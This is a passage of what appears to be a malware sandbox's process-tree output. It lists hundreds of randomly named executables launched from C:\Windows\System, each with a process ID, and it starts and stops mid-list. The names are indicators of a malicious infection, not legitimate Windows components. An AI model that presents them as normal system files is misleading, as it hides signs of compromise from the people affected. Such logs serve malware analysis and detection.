  C:\Windows\System\AkuWFFi.exe
  2⤵
  PID:5512
- C:\Windows\System\GGFpLYo.exe
  C:\Windows\System\GGFpLYo.exe
  2⤵
  PID:6288
- C:\Windows\System\whkLHzU.exe
  C:\Windows\System\whkLHzU.exe
  2⤵
  PID:6304
- C:\Windows\System\UPowUaZ.exe
  C:\Windows\System\UPowUaZ.exe
  2⤵
  PID:6320
- C:\Windows\System\eiumvTM.exe
  C:\Windows\System\eiumvTM.exe
  2⤵
  PID:6336
- C:\Windows\System\wgVOwgN.exe
  C:\Windows\System\wgVOwgN.exe
  2⤵
  PID:6352
- C:\Windows\System\JNKFJwR.exe
  C:\Windows\System\JNKFJwR.exe
  2⤵
  PID:6368
- C:\Windows\System\XkFcVVR.exe
  C:\Windows\System\XkFcVVR.exe
  2⤵
  PID:6384
- C:\Windows\System\aEWSHvl.exe
  C:\Windows\System\aEWSHvl.exe
  2⤵
  PID:6400
- C:\Windows\System\OLJHlyd.exe
  C:\Windows\System\OLJHlyd.exe
  2⤵
  PID:6416
- C:\Windows\System\rUymazf.exe
  C:\Windows\System\rUymazf.exe
  2⤵
  PID:6432
- C:\Windows\System\IMSWiTb.exe
  C:\Windows\System\IMSWiTb.exe
  2⤵
  PID:6448
- C:\Windows\System\rJjWuMS.exe
  C:\Windows\System\rJjWuMS.exe
  2⤵
  PID:6464
- C:\Windows\System\lgVNiaK.exe
  C:\Windows\System\lgVNiaK.exe
  2⤵
  PID:6484
- C:\Windows\System\HINxKYh.exe
  C:\Windows\System\HINxKYh.exe
  2⤵
  PID:6508
- C:\Windows\System\YIdUwGW.exe
  C:\Windows\System\YIdUwGW.exe
  2⤵
  PID:6528
- C:\Windows\System\svrRPjE.exe
  C:\Windows\System\svrRPjE.exe
  2⤵
  PID:6544
- C:\Windows\System\jnyWvNJ.exe
  C:\Windows\System\jnyWvNJ.exe
  2⤵
  PID:6560
- C:\Windows\System\agSSJWL.exe
  C:\Windows\System\agSSJWL.exe
  2⤵
  PID:6576
- C:\Windows\System\EWvoKdR.exe
  C:\Windows\System\EWvoKdR.exe
  2⤵
  PID:6592
- C:\Windows\System\rLHhVKB.exe
  C:\Windows\System\rLHhVKB.exe
  2⤵
  PID:6608
- C:\Windows\System\YHyLfGE.exe
  C:\Windows\System\YHyLfGE.exe
  2⤵
  PID:6624
- C:\Windows\System\mmfggEH.exe
  C:\Windows\System\mmfggEH.exe
  2⤵
  PID:6640
- C:\Windows\System\FCAdhpi.exe
  C:\Windows\System\FCAdhpi.exe
  2⤵
  PID:6656
- C:\Windows\System\lkYrPSl.exe
  C:\Windows\System\lkYrPSl.exe
  2⤵
  PID:6672
- C:\Windows\System\jiKriDL.exe
  C:\Windows\System\jiKriDL.exe
  2⤵
  PID:6688
- C:\Windows\System\qIdMTlR.exe
  C:\Windows\System\qIdMTlR.exe
  2⤵
  PID:6704
- C:\Windows\System\DfBMfRF.exe
  C:\Windows\System\DfBMfRF.exe
  2⤵
  PID:6724
- C:\Windows\System\UMDqPNW.exe
  C:\Windows\System\UMDqPNW.exe
  2⤵
  PID:6744
- C:\Windows\System\MBLtsTs.exe
  C:\Windows\System\MBLtsTs.exe
  2⤵
  PID:6760
- C:\Windows\System\EDcxyXD.exe
  C:\Windows\System\EDcxyXD.exe
  2⤵
  PID:6776
- C:\Windows\System\FBojipi.exe
  C:\Windows\System\FBojipi.exe
  2⤵
  PID:6792
- C:\Windows\System\gpfLCKc.exe
  C:\Windows\System\gpfLCKc.exe
  2⤵
  PID:6808
- C:\Windows\System\xBHhMAD.exe
  C:\Windows\System\xBHhMAD.exe
  2⤵
  PID:6824
- C:\Windows\System\TtyXLpE.exe
  C:\Windows\System\TtyXLpE.exe
  2⤵
  PID:6840
- C:\Windows\System\IPNQgMr.exe
  C:\Windows\System\IPNQgMr.exe
  2⤵
  PID:6856
- C:\Windows\System\zFhPGMm.exe
  C:\Windows\System\zFhPGMm.exe
  2⤵
  PID:6876
- C:\Windows\System\VqmTRTR.exe
  C:\Windows\System\VqmTRTR.exe
  2⤵
  PID:6892
- C:\Windows\System\PEdEjuV.exe
  C:\Windows\System\PEdEjuV.exe
  2⤵
  PID:6908
- C:\Windows\System\dDQKFYJ.exe
  C:\Windows\System\dDQKFYJ.exe
  2⤵
  PID:6928
- C:\Windows\System\hSQDqsi.exe
  C:\Windows\System\hSQDqsi.exe
  2⤵
  PID:6944
- C:\Windows\System\DUFquGx.exe
  C:\Windows\System\DUFquGx.exe
  2⤵
  PID:6960
- C:\Windows\System\VTxWBzI.exe
  C:\Windows\System\VTxWBzI.exe
  2⤵
  PID:6976
- C:\Windows\System\GsLEhix.exe
  C:\Windows\System\GsLEhix.exe
  2⤵
  PID:6996
- C:\Windows\System\mYPMcfA.exe
  C:\Windows\System\mYPMcfA.exe
  2⤵
  PID:7012
- C:\Windows\System\fopHcfb.exe
  C:\Windows\System\fopHcfb.exe
  2⤵
  PID:7028
- C:\Windows\System\OMdqzBd.exe
  C:\Windows\System\OMdqzBd.exe
  2⤵
  PID:7044
- C:\Windows\System\MzKEjLn.exe
  C:\Windows\System\MzKEjLn.exe
  2⤵
  PID:7060
- C:\Windows\System\lKmQzRk.exe
  C:\Windows\System\lKmQzRk.exe
  2⤵
  PID:7076
- C:\Windows\System\wLonHmi.exe
  C:\Windows\System\wLonHmi.exe
  2⤵
  PID:7092
- C:\Windows\System\eDAiOaa.exe
  C:\Windows\System\eDAiOaa.exe
  2⤵
  PID:7108
- C:\Windows\System\sXpSwAm.exe
  C:\Windows\System\sXpSwAm.exe
  2⤵
  PID:7124
- C:\Windows\System\viWmeSh.exe
  C:\Windows\System\viWmeSh.exe
  2⤵
  PID:7140
- C:\Windows\System\RfPrtir.exe
  C:\Windows\System\RfPrtir.exe
  2⤵
  PID:7156
- C:\Windows\System\GFUDkVd.exe
  C:\Windows\System\GFUDkVd.exe
  2⤵
  PID:1444
- C:\Windows\System\GWPolmN.exe
  C:\Windows\System\GWPolmN.exe
  2⤵
  PID:5832
- C:\Windows\System\rNsIuVm.exe
  C:\Windows\System\rNsIuVm.exe
  2⤵
  PID:5468
- C:\Windows\System\JNgvJQI.exe
  C:\Windows\System\JNgvJQI.exe
  2⤵
  PID:5148
- C:\Windows\System\IyitxUQ.exe
  C:\Windows\System\IyitxUQ.exe
  2⤵
  PID:5312
- C:\Windows\System\ggkDwPb.exe
  C:\Windows\System\ggkDwPb.exe
  2⤵
  PID:5672
- C:\Windows\System\rnlHiSE.exe
  C:\Windows\System\rnlHiSE.exe
  2⤵
  PID:5736
- C:\Windows\System\fdEANes.exe
  C:\Windows\System\fdEANes.exe
  2⤵
  PID:6040
- C:\Windows\System\lxXYlmp.exe
  C:\Windows\System\lxXYlmp.exe
  2⤵
  PID:5420
- C:\Windows\System\QsxawJX.exe
  C:\Windows\System\QsxawJX.exe
  2⤵
  PID:6232
- C:\Windows\System\DlEghMc.exe
  C:\Windows\System\DlEghMc.exe
  2⤵
  PID:6264
- C:\Windows\System\SAOPjaz.exe
  C:\Windows\System\SAOPjaz.exe
  2⤵
  PID:6328
- C:\Windows\System\ooCEtUG.exe
  C:\Windows\System\ooCEtUG.exe
  2⤵
  PID:6392
- C:\Windows\System\wwbPFaO.exe
  C:\Windows\System\wwbPFaO.exe
  2⤵
  PID:6536
- C:\Windows\System\tTnCxPM.exe
  C:\Windows\System\tTnCxPM.exe
  2⤵
  PID:6556
- C:\Windows\System\oUkCCpg.exe
  C:\Windows\System\oUkCCpg.exe
  2⤵
  PID:6652
- C:\Windows\System\pYTIeIh.exe
  C:\Windows\System\pYTIeIh.exe
  2⤵
  PID:6680
- C:\Windows\System\BJPdyaW.exe
  C:\Windows\System\BJPdyaW.exe
  2⤵
  PID:6768
- C:\Windows\System\xqpkHRT.exe
  C:\Windows\System\xqpkHRT.exe
  2⤵
  PID:6832
- C:\Windows\System\myXsKtX.exe
  C:\Windows\System\myXsKtX.exe
  2⤵
  PID:6936
- C:\Windows\System\SppBzpo.exe
  C:\Windows\System\SppBzpo.exe
  2⤵
  PID:6972
- C:\Windows\System\oobYgrT.exe
  C:\Windows\System\oobYgrT.exe
  2⤵
  PID:7040
- C:\Windows\System\xdiBpxC.exe
  C:\Windows\System\xdiBpxC.exe
  2⤵
  PID:7104
- C:\Windows\System\UYMEDeg.exe
  C:\Windows\System\UYMEDeg.exe
  2⤵
  PID:5812
- C:\Windows\System\OCEEGXi.exe
  C:\Windows\System\OCEEGXi.exe
  2⤵
  PID:2208
- C:\Windows\System\wEPNHiC.exe
  C:\Windows\System\wEPNHiC.exe
  2⤵
  PID:5976
- C:\Windows\System\ZVFWQdn.exe
  C:\Windows\System\ZVFWQdn.exe
  2⤵
  PID:7116
- C:\Windows\System\dBpfWfH.exe
  C:\Windows\System\dBpfWfH.exe
  2⤵
  PID:7024
- C:\Windows\System\lGasjZQ.exe
  C:\Windows\System\lGasjZQ.exe
  2⤵
  PID:6956
- C:\Windows\System\fbiaENx.exe
  C:\Windows\System\fbiaENx.exe
  2⤵
  PID:6888
- C:\Windows\System\leXJWNc.exe
  C:\Windows\System\leXJWNc.exe
  2⤵
  PID:6820
- C:\Windows\System\UDwqqWD.exe
  C:\Windows\System\UDwqqWD.exe
  2⤵
  PID:6128
- C:\Windows\System\LQzIGhY.exe
  C:\Windows\System\LQzIGhY.exe
  2⤵
  PID:6156
- C:\Windows\System\AlZnQPz.exe
  C:\Windows\System\AlZnQPz.exe
  2⤵
  PID:6172
- C:\Windows\System\UCOzQDW.exe
  C:\Windows\System\UCOzQDW.exe
  2⤵
  PID:6192
- C:\Windows\System\fHmPYWd.exe
  C:\Windows\System\fHmPYWd.exe
  2⤵
  PID:6208
- C:\Windows\System\eVHZxCu.exe
  C:\Windows\System\eVHZxCu.exe
  2⤵
  PID:6224
- C:\Windows\System\yTsrsew.exe
  C:\Windows\System\yTsrsew.exe
  2⤵
  PID:6080
- C:\Windows\System\LVvxGxc.exe
  C:\Windows\System\LVvxGxc.exe
  2⤵
  PID:6348
- C:\Windows\System\AqyzTXW.exe
  C:\Windows\System\AqyzTXW.exe
  2⤵
  PID:6088
- C:\Windows\System\sxPCYMS.exe
  C:\Windows\System\sxPCYMS.exe
  2⤵
  PID:6424
- C:\Windows\System\YnpENhp.exe
  C:\Windows\System\YnpENhp.exe
  2⤵
  PID:6444
- C:\Windows\System\kHvGDCy.exe
  C:\Windows\System\kHvGDCy.exe
  2⤵
  PID:6504
- C:\Windows\System\gmFDBnx.exe
  C:\Windows\System\gmFDBnx.exe
  2⤵
  PID:6604
- C:\Windows\System\HoiNWgR.exe
  C:\Windows\System\HoiNWgR.exe
  2⤵
  PID:6636
- C:\Windows\System\tiRyEsl.exe
  C:\Windows\System\tiRyEsl.exe
  2⤵
  PID:5908
- C:\Windows\System\PohlFKn.exe
  C:\Windows\System\PohlFKn.exe
  2⤵
  PID:6696
- C:\Windows\System\fdBKyUG.exe
  C:\Windows\System\fdBKyUG.exe
  2⤵
  PID:6804
- C:\Windows\System\SLTboTU.exe
  C:\Windows\System\SLTboTU.exe
  2⤵
  PID:5656
- C:\Windows\System\nPaeKmw.exe
  C:\Windows\System\nPaeKmw.exe
  2⤵
  PID:6900
- C:\Windows\System\GrzUhyB.exe
  C:\Windows\System\GrzUhyB.exe
  2⤵
  PID:7036
- C:\Windows\System\kECQufo.exe
  C:\Windows\System\kECQufo.exe
  2⤵
  PID:5612
- C:\Windows\System\vGwgpVP.exe
  C:\Windows\System\vGwgpVP.exe
  2⤵
  PID:5856
- C:\Windows\System\OtOivnF.exe
  C:\Windows\System\OtOivnF.exe
  2⤵
  PID:6496
- C:\Windows\System\PQbvvga.exe
  C:\Windows\System\PQbvvga.exe
  2⤵
  PID:6740
- C:\Windows\System\iQmvjUp.exe
  C:\Windows\System\iQmvjUp.exe
  2⤵
  PID:5364
- C:\Windows\System\iEHDdjH.exe
  C:\Windows\System\iEHDdjH.exe
  2⤵
  PID:6924
- C:\Windows\System\JowPIuY.exe
  C:\Windows\System\JowPIuY.exe
  2⤵
  PID:5692
- C:\Windows\System\pFrfSVO.exe
  C:\Windows\System\pFrfSVO.exe
  2⤵
  PID:5872
- C:\Windows\System\hZwAKUa.exe
  C:\Windows\System\hZwAKUa.exe
  2⤵
  PID:6248
- C:\Windows\System\JlbVkLO.exe
  C:\Windows\System\JlbVkLO.exe
  2⤵
  PID:5592
- C:\Windows\System\GXkncTD.exe
  C:\Windows\System\GXkncTD.exe
  2⤵
  PID:5840
- C:\Windows\System\yPVkpAB.exe
  C:\Windows\System\yPVkpAB.exe
  2⤵
  PID:7120
- C:\Windows\System\bdRYvmL.exe
  C:\Windows\System\bdRYvmL.exe
  2⤵
  PID:6848
- C:\Windows\System\pWJTGso.exe
  C:\Windows\System\pWJTGso.exe
  2⤵
  PID:6184
- C:\Windows\System\gpdSzRg.exe
  C:\Windows\System\gpdSzRg.exe
  2⤵
  PID:6344
- C:\Windows\System\IqqbNSZ.exe
  C:\Windows\System\IqqbNSZ.exe
  2⤵
  PID:5960
- C:\Windows\System\dsrNUml.exe
  C:\Windows\System\dsrNUml.exe
  2⤵
  PID:6164
- C:\Windows\System\tKwZWNm.exe
  C:\Windows\System\tKwZWNm.exe
  2⤵
  PID:6300
- C:\Windows\System\mIBfOCO.exe
  C:\Windows\System\mIBfOCO.exe
  2⤵
  PID:6552
- C:\Windows\System\xjSZQeQ.exe
  C:\Windows\System\xjSZQeQ.exe
  2⤵
  PID:6664
- C:\Windows\System\LaKnkMa.exe
  C:\Windows\System\LaKnkMa.exe
  2⤵
  PID:6256
- C:\Windows\System\GRinVGM.exe
  C:\Windows\System\GRinVGM.exe
  2⤵
  PID:6800
- C:\Windows\System\sjKdFMS.exe
  C:\Windows\System\sjKdFMS.exe
  2⤵
  PID:6632
- C:\Windows\System\ubXQLBW.exe
  C:\Windows\System\ubXQLBW.exe
  2⤵
  PID:5132
- C:\Windows\System\rhRZgaH.exe
  C:\Windows\System\rhRZgaH.exe
  2⤵
  PID:6124
- C:\Windows\System\QnAPxkD.exe
  C:\Windows\System\QnAPxkD.exe
  2⤵
  PID:6244
- C:\Windows\System\AWDwAGp.exe
  C:\Windows\System\AWDwAGp.exe
  2⤵
  PID:6788
- C:\Windows\System\eYXOqLh.exe
  C:\Windows\System\eYXOqLh.exe
  2⤵
  PID:6240
- C:\Windows\System\gdsoudC.exe
  C:\Windows\System\gdsoudC.exe
  2⤵
  PID:5328
- C:\Windows\System\SPRXaxO.exe
  C:\Windows\System\SPRXaxO.exe
  2⤵
  PID:6220
- C:\Windows\System\usbRXkg.exe
  C:\Windows\System\usbRXkg.exe
  2⤵
  PID:6272
- C:\Windows\System\kFBEJHg.exe
  C:\Windows\System\kFBEJHg.exe
  2⤵
  PID:6364
- C:\Windows\System\UovogRu.exe
  C:\Windows\System\UovogRu.exe
  2⤵
  PID:6600
- C:\Windows\System\CXlpPjU.exe
  C:\Windows\System\CXlpPjU.exe
  2⤵
  PID:280
- C:\Windows\System\zGEDPFi.exe
  C:\Windows\System\zGEDPFi.exe
  2⤵
  PID:7100
- C:\Windows\System\IwLlBnO.exe
  C:\Windows\System\IwLlBnO.exe
  2⤵
  PID:6116
- C:\Windows\System\bFsdaxJ.exe
  C:\Windows\System\bFsdaxJ.exe
  2⤵
  PID:6916
- C:\Windows\System\DwaPCDo.exe
  C:\Windows\System\DwaPCDo.exe
  2⤵
  PID:6200
- C:\Windows\System\WzEmmim.exe
  C:\Windows\System\WzEmmim.exe
  2⤵
  PID:6428
- C:\Windows\System\pJousnl.exe
  C:\Windows\System\pJousnl.exe
  2⤵
  PID:6204
- C:\Windows\System\NTeMimF.exe
  C:\Windows\System\NTeMimF.exe
  2⤵
  PID:6280
- C:\Windows\System\QFztevf.exe
  C:\Windows\System\QFztevf.exe
  2⤵
  PID:5052
- C:\Windows\System\jaoNPjg.exe
  C:\Windows\System\jaoNPjg.exe
  2⤵
  PID:6396
- C:\Windows\System\KQZJPWn.exe
  C:\Windows\System\KQZJPWn.exe
  2⤵
  PID:6616
- C:\Windows\System\MJfOKJp.exe
  C:\Windows\System\MJfOKJp.exe
  2⤵
  PID:6152
- C:\Windows\System\hJtEUgx.exe
  C:\Windows\System\hJtEUgx.exe
  2⤵
  PID:6472
- C:\Windows\System\kLgQKOg.exe
  C:\Windows\System\kLgQKOg.exe
  2⤵
  PID:6752
- C:\Windows\System\nmNRSXH.exe
  C:\Windows\System\nmNRSXH.exe
  2⤵
  PID:6872
- C:\Windows\System\ozxsJDW.exe
  C:\Windows\System\ozxsJDW.exe
  2⤵
  PID:6572
- C:\Windows\System\BLWEove.exe
  C:\Windows\System\BLWEove.exe
  2⤵
  PID:6736
- C:\Windows\System\dEwEzWK.exe
  C:\Windows\System\dEwEzWK.exe
  2⤵
  PID:6540
- C:\Windows\System\VESHUma.exe
  C:\Windows\System\VESHUma.exe
  2⤵
  PID:7180
- C:\Windows\System\wVeYUiM.exe
  C:\Windows\System\wVeYUiM.exe
  2⤵
  PID:7196
- C:\Windows\System\uqRXSfR.exe
  C:\Windows\System\uqRXSfR.exe
  2⤵
  PID:7216
- C:\Windows\System\CUchwaJ.exe
  C:\Windows\System\CUchwaJ.exe
  2⤵
  PID:7240
- C:\Windows\System\SeoLOBP.exe
  C:\Windows\System\SeoLOBP.exe
  2⤵
  PID:7256
- C:\Windows\System\THWltLn.exe
  C:\Windows\System\THWltLn.exe
  2⤵
  PID:7272
- C:\Windows\System\rdLqDuF.exe
  C:\Windows\System\rdLqDuF.exe
  2⤵
  PID:7288
- C:\Windows\System\zHtmyQd.exe
  C:\Windows\System\zHtmyQd.exe
  2⤵
  PID:7308
- C:\Windows\System\JeMUIFP.exe
  C:\Windows\System\JeMUIFP.exe
  2⤵
  PID:7324
- C:\Windows\System\MoxzNgh.exe
  C:\Windows\System\MoxzNgh.exe
  2⤵
  PID:7344
- C:\Windows\System\CMjmAhv.exe
  C:\Windows\System\CMjmAhv.exe
  2⤵
  PID:7364
- C:\Windows\System\eWwvvoM.exe
  C:\Windows\System\eWwvvoM.exe
  2⤵
  PID:7388
- C:\Windows\System\jojTWzH.exe
  C:\Windows\System\jojTWzH.exe
  2⤵
  PID:7408
- C:\Windows\System\HUxPpmP.exe
  C:\Windows\System\HUxPpmP.exe
  2⤵
  PID:7432
- C:\Windows\System\kPMYPLU.exe
  C:\Windows\System\kPMYPLU.exe
  2⤵
  PID:7460
- C:\Windows\System\RnuXobn.exe
  C:\Windows\System\RnuXobn.exe
  2⤵
  PID:7480
- C:\Windows\System\wqaqeqF.exe
  C:\Windows\System\wqaqeqF.exe
  2⤵
  PID:7512
- C:\Windows\System\oSYxXdt.exe
  C:\Windows\System\oSYxXdt.exe
  2⤵
  PID:7536
- C:\Windows\System\jHcoXFt.exe
  C:\Windows\System\jHcoXFt.exe
  2⤵
  PID:7556
- C:\Windows\System\MNkmMdt.exe
  C:\Windows\System\MNkmMdt.exe
  2⤵
  PID:7580
- C:\Windows\System\VRAbiDg.exe
  C:\Windows\System\VRAbiDg.exe
  2⤵
  PID:7596
- C:\Windows\System\EPmtJcP.exe
  C:\Windows\System\EPmtJcP.exe
  2⤵
  PID:7612
- C:\Windows\System\EZWPMet.exe
  C:\Windows\System\EZWPMet.exe
  2⤵
  PID:7668
- C:\Windows\System\zYfdWhv.exe
  C:\Windows\System\zYfdWhv.exe
  2⤵
  PID:7684
- C:\Windows\System\YPDmQbx.exe
  C:\Windows\System\YPDmQbx.exe
  2⤵
  PID:7700
- C:\Windows\System\pBMEXci.exe
  C:\Windows\System\pBMEXci.exe
  2⤵
  PID:7720
- C:\Windows\System\qHFHLvn.exe
  C:\Windows\System\qHFHLvn.exe
  2⤵
  PID:7736
- C:\Windows\System\oDaTAkE.exe
  C:\Windows\System\oDaTAkE.exe
  2⤵
  PID:7752
- C:\Windows\System\doydCWD.exe
  C:\Windows\System\doydCWD.exe
  2⤵
  PID:7768
- C:\Windows\System\QZNHclY.exe
  C:\Windows\System\QZNHclY.exe
  2⤵
  PID:7784
- C:\Windows\System\WPsvsxG.exe
  C:\Windows\System\WPsvsxG.exe
  2⤵
  PID:7800
- C:\Windows\System\JmTWWEv.exe
  C:\Windows\System\JmTWWEv.exe
  2⤵
  PID:7816
- C:\Windows\System\qWDnqcp.exe
  C:\Windows\System\qWDnqcp.exe
  2⤵
  PID:7832
- C:\Windows\System\GhERZlj.exe
  C:\Windows\System\GhERZlj.exe
  2⤵
  PID:7848
- C:\Windows\System\pnHrtXH.exe
  C:\Windows\System\pnHrtXH.exe
  2⤵
  PID:7864
- C:\Windows\System\OWlxFjn.exe
  C:\Windows\System\OWlxFjn.exe
  2⤵
  PID:7880
- C:\Windows\System\NCSeDGh.exe
  C:\Windows\System\NCSeDGh.exe
  2⤵
  PID:8160
- C:\Windows\System\aZbvsfI.exe
  C:\Windows\System\aZbvsfI.exe
  2⤵
  PID:8180
- C:\Windows\System\rgwdCsu.exe
  C:\Windows\System\rgwdCsu.exe
  2⤵
  PID:7204
- C:\Windows\System\HxHAZBO.exe
  C:\Windows\System\HxHAZBO.exe
  2⤵
  PID:6440
- C:\Windows\System\VbxGTwm.exe
  C:\Windows\System\VbxGTwm.exe
  2⤵
  PID:7236
- C:\Windows\System\QrEkYoz.exe
  C:\Windows\System\QrEkYoz.exe
  2⤵
  PID:7316
- C:\Windows\System\OcrCnkM.exe
  C:\Windows\System\OcrCnkM.exe
  2⤵
  PID:7356
- C:\Windows\System\kHReAme.exe
  C:\Windows\System\kHReAme.exe
  2⤵
  PID:7400
- C:\Windows\System\GVCugbD.exe
  C:\Windows\System\GVCugbD.exe
  2⤵
  PID:7340
- C:\Windows\System\wlRoxCy.exe
  C:\Windows\System\wlRoxCy.exe
  2⤵
  PID:7452
- C:\Windows\System\oGJYDcC.exe
  C:\Windows\System\oGJYDcC.exe
  2⤵
  PID:7380
- C:\Windows\System\DZHRkjU.exe
  C:\Windows\System\DZHRkjU.exe
  2⤵
  PID:7428
- C:\Windows\System\QaXgDKP.exe
  C:\Windows\System\QaXgDKP.exe
  2⤵
  PID:7476
- C:\Windows\System\JrYADMk.exe
  C:\Windows\System\JrYADMk.exe
  2⤵
  PID:7592
- C:\Windows\System\FUeHBUq.exe
  C:\Windows\System\FUeHBUq.exe
  2⤵
  PID:7564
- C:\Windows\System\uxckQQM.exe
  C:\Windows\System\uxckQQM.exe
  2⤵
  PID:7608
- C:\Windows\System\oVPDhzS.exe
  C:\Windows\System\oVPDhzS.exe
  2⤵
  PID:7728
- C:\Windows\System\mUhuVyM.exe
  C:\Windows\System\mUhuVyM.exe
  2⤵
  PID:7764
- C:\Windows\System\vJVYXop.exe
  C:\Windows\System\vJVYXop.exe
  2⤵
  PID:7780
- C:\Windows\System\CVcDkBN.exe
  C:\Windows\System\CVcDkBN.exe
  2⤵
  PID:7712
- C:\Windows\System\wWKuUDI.exe
  C:\Windows\System\wWKuUDI.exe
  2⤵
  PID:7888
- C:\Windows\System\HrupgzJ.exe
  C:\Windows\System\HrupgzJ.exe
  2⤵
  PID:7900
- C:\Windows\System\BReERoX.exe
  C:\Windows\System\BReERoX.exe
  2⤵
  PID:7924
- C:\Windows\System\DxXuDWz.exe
  C:\Windows\System\DxXuDWz.exe
  2⤵
  PID:7940
- C:\Windows\System\JOFCqTm.exe
  C:\Windows\System\JOFCqTm.exe
  2⤵
  PID:7964
- C:\Windows\System\wGSsLIx.exe
  C:\Windows\System\wGSsLIx.exe
  2⤵
  PID:7980
- C:\Windows\System\QXZGuHs.exe
  C:\Windows\System\QXZGuHs.exe
  2⤵
  PID:7996
- C:\Windows\System\vegHjiu.exe
  C:\Windows\System\vegHjiu.exe
  2⤵
  PID:8020
- C:\Windows\System\ojAeiAZ.exe
  C:\Windows\System\ojAeiAZ.exe
  2⤵
  PID:8036
- C:\Windows\System\LcDvKEM.exe
  C:\Windows\System\LcDvKEM.exe
  2⤵
  PID:8052
- C:\Windows\System\ueSFfmY.exe
  C:\Windows\System\ueSFfmY.exe
  2⤵
  PID:8068
- C:\Windows\System\dUbLyIC.exe
  C:\Windows\System\dUbLyIC.exe
  2⤵
  PID:8084
- C:\Windows\System\VCZqezW.exe
  C:\Windows\System\VCZqezW.exe
  2⤵
  PID:8100
- C:\Windows\System\hvJvAYK.exe
  C:\Windows\System\hvJvAYK.exe
  2⤵
  PID:8116
- C:\Windows\System\WSRIlvc.exe
  C:\Windows\System\WSRIlvc.exe
  2⤵
  PID:8128
- C:\Windows\System\DpylpWk.exe
  C:\Windows\System\DpylpWk.exe
  2⤵
  PID:8156
- C:\Windows\System\NfSOWFV.exe
  C:\Windows\System\NfSOWFV.exe
  2⤵
  PID:7164
- C:\Windows\System\KdVXimb.exe
  C:\Windows\System\KdVXimb.exe
  2⤵
  PID:7472
- C:\Windows\System\xxSxdov.exe
  C:\Windows\System\xxSxdov.exe
  2⤵
  PID:7520
- C:\Windows\System\fYEPDns.exe
  C:\Windows\System\fYEPDns.exe
  2⤵
  PID:7796
- C:\Windows\System\LncAgzw.exe
  C:\Windows\System\LncAgzw.exe
  2⤵
  PID:7300
- C:\Windows\System\HrDNwdH.exe
  C:\Windows\System\HrDNwdH.exe
  2⤵
  PID:7916
- C:\Windows\System\wUQGDnz.exe
  C:\Windows\System\wUQGDnz.exe
  2⤵
  PID:7440
- C:\Windows\System\weauxGE.exe
  C:\Windows\System\weauxGE.exe
  2⤵
  PID:7544
- C:\Windows\System\MfzSJZg.exe
  C:\Windows\System\MfzSJZg.exe
  2⤵
  PID:7892
- C:\Windows\System\asbWgpj.exe
  C:\Windows\System\asbWgpj.exe
  2⤵
  PID:7812
- C:\Windows\System\bdfCIBg.exe
  C:\Windows\System\bdfCIBg.exe
  2⤵
  PID:7872
- C:\Windows\System\AJLKABr.exe
  C:\Windows\System\AJLKABr.exe
  2⤵
  PID:7952
- C:\Windows\System\gymmEtX.exe
  C:\Windows\System\gymmEtX.exe
  2⤵
  PID:8028
- C:\Windows\System\EfLSIQw.exe
  C:\Windows\System\EfLSIQw.exe
  2⤵
  PID:8092
- C:\Windows\System\mNOnKhO.exe
  C:\Windows\System\mNOnKhO.exe
  2⤵
  PID:8172
- C:\Windows\System\AqDeWHC.exe
  C:\Windows\System\AqDeWHC.exe
  2⤵
  PID:7248
- C:\Windows\System\yOnMyPd.exe
  C:\Windows\System\yOnMyPd.exe
  2⤵
  PID:8108
- C:\Windows\System\GGAGvek.exe
  C:\Windows\System\GGAGvek.exe
  2⤵
  PID:8016
- C:\Windows\System\haIbwUf.exe
  C:\Windows\System\haIbwUf.exe
  2⤵
  PID:8004
- C:\Windows\System\BEqhitU.exe
  C:\Windows\System\BEqhitU.exe
  2⤵
  PID:8152
- C:\Windows\System\FYSAdRr.exe
  C:\Windows\System\FYSAdRr.exe
  2⤵
  PID:7360
- C:\Windows\System\QmKimdP.exe
  C:\Windows\System\QmKimdP.exe
  2⤵
  PID:7384
- C:\Windows\System\KsnAwYa.exe
  C:\Windows\System\KsnAwYa.exe
  2⤵
  PID:1492
- C:\Windows\System\HsiSHEX.exe
  C:\Windows\System\HsiSHEX.exe
  2⤵
  PID:7660
- C:\Windows\System\rgGKEvX.exe
  C:\Windows\System\rgGKEvX.exe
  2⤵
  PID:8124
- C:\Windows\System\ldvlgAO.exe
  C:\Windows\System\ldvlgAO.exe
  2⤵
  PID:7232
- C:\Windows\System\xdjqEdr.exe
  C:\Windows\System\xdjqEdr.exe
  2⤵
  PID:7828
- C:\Windows\System\uvCkVEb.exe
  C:\Windows\System\uvCkVEb.exe
  2⤵
  PID:7424
- C:\Windows\System\bvyGYFc.exe
  C:\Windows\System\bvyGYFc.exe
  2⤵
  PID:8008
- C:\Windows\System\CoshzsF.exe
  C:\Windows\System\CoshzsF.exe
  2⤵
  PID:7376
- C:\Windows\System\LikYlCM.exe
  C:\Windows\System\LikYlCM.exe
  2⤵
  PID:7748
- C:\Windows\System\VKABvTH.exe
  C:\Windows\System\VKABvTH.exe
  2⤵
  PID:7912
- C:\Windows\System\hGinnrE.exe
  C:\Windows\System\hGinnrE.exe
  2⤵
  PID:8132
- C:\Windows\System\bikHzWS.exe
  C:\Windows\System\bikHzWS.exe
  2⤵
  PID:7192
- C:\Windows\System\jwDZGAS.exe
  C:\Windows\System\jwDZGAS.exe
  2⤵
  PID:8112
- C:\Windows\System\fNzfIyk.exe
  C:\Windows\System\fNzfIyk.exe
  2⤵
  PID:7208
- C:\Windows\System\kDDemPh.exe
  C:\Windows\System\kDDemPh.exe
  2⤵
  PID:2660
- C:\Windows\System\Zqftqgq.exe
  C:\Windows\System\Zqftqgq.exe
  2⤵
  PID:2544
- C:\Windows\System\jmGFuEj.exe
  C:\Windows\System\jmGFuEj.exe
  2⤵
  PID:8176
- C:\Windows\System\mxZNbvg.exe
  C:\Windows\System\mxZNbvg.exe
  2⤵
  PID:7760
- C:\Windows\System\OHOgitB.exe
  C:\Windows\System\OHOgitB.exe
  2⤵
  PID:8140
- C:\Windows\System\PaZhJBS.exe
  C:\Windows\System\PaZhJBS.exe
  2⤵
  PID:7396
- C:\Windows\System\xAougap.exe
  C:\Windows\System\xAougap.exe
  2⤵
  PID:7588
- C:\Windows\System\XfGxWPm.exe
  C:\Windows\System\XfGxWPm.exe
  2⤵
  PID:6920
- C:\Windows\System\YDHHMup.exe
  C:\Windows\System\YDHHMup.exe
  2⤵
  PID:7908
- C:\Windows\System\tYcfPDD.exe
  C:\Windows\System\tYcfPDD.exe
  2⤵
  PID:8208
- C:\Windows\System\pOzZxRu.exe
  C:\Windows\System\pOzZxRu.exe
  2⤵
  PID:8224
- C:\Windows\System\kSMXHKt.exe
  C:\Windows\System\kSMXHKt.exe
  2⤵
  PID:8244
- C:\Windows\System\bWuqUGt.exe
